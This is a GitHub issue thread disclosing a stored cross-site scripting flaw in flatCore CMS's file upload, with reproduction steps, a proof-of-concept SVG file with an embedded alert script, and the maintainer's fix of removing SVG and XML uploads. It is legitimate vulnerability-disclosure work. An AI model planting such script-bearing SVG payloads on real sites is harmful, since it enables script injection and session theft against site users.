


New issue

[Jump to bottom](#)

## Cross Site Scripting (XSS) #53

 Open tranquac opened this issue on Aug 13, 2021 · 6 comments

tranquac commented on Aug 13, 2021

## Describe the bug

Cross Site Scripting (XSS) via upload image function

## To Reproduce

Steps to reproduce the behavior:

1. Login to flatcore CMS
2. Click on 'Upload file'
3. Drop svg file contains XSS payload , example filename : xss.svg
4. and XSS in url : <http://domain/content/images/payload1.svg>

## Screenshots

 [https://raw.githubusercontent.com/tranquac/POC/main/xss\\_flatcoreCMS.PNG](https://raw.githubusercontent.com/tranquac/POC/main/xss_flatcoreCMS.PNG)

## xss.svg

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
  <script type="text/javascript">
    alert("XSS in flatCore CMS");
  </script>
</svg>
```

## Desktop (please complete the following information):

- OS: All
- Browser : All
- Version : Last version

## Additional context

XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user

tranquac commented on Aug 16, 2021

Author

@patkon

Can you help me check issue this?  
Looking forward to hearing from you.  
Thank.

patkon commented on Aug 16, 2021

Member

I think the best solution will be to remove SVG support from the core. Maybe I will write an addon to enable secure SVG upload later.

tranquac commented on Aug 16, 2021

Author

yes. That is the good idea for this issue!

 patkon added a commit that referenced this issue on Aug 18, 2021 removed svg and xml from file upload ...

49602a4

nu1security commented on Aug 26, 2021 • edited ▼

Hello friends, the problem is still there and still critical!

### Proof SXX Stored:

- ◦ ■ [+] <https://streamable.com/p13hgj>

### Proof=PHPSESSID:

- ◦ ■ [+] <https://streamable.com/9aj8o6>

No matter what account the user using, this is a broken infrastructure, logic, and architecture!

## Please fix this problem and be more focused and responsible!

BR @nu1security System Administrator - Infrastructure and Penetration testing Engineer.

patkon commented on Aug 26, 2021

Member

Thank you for reporting. I've just released Version 2.0.8. From this version on there is no more SVG and XML upload.

nu1security commented on Aug 27, 2021

Ok, thank you. 🙄 😊

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

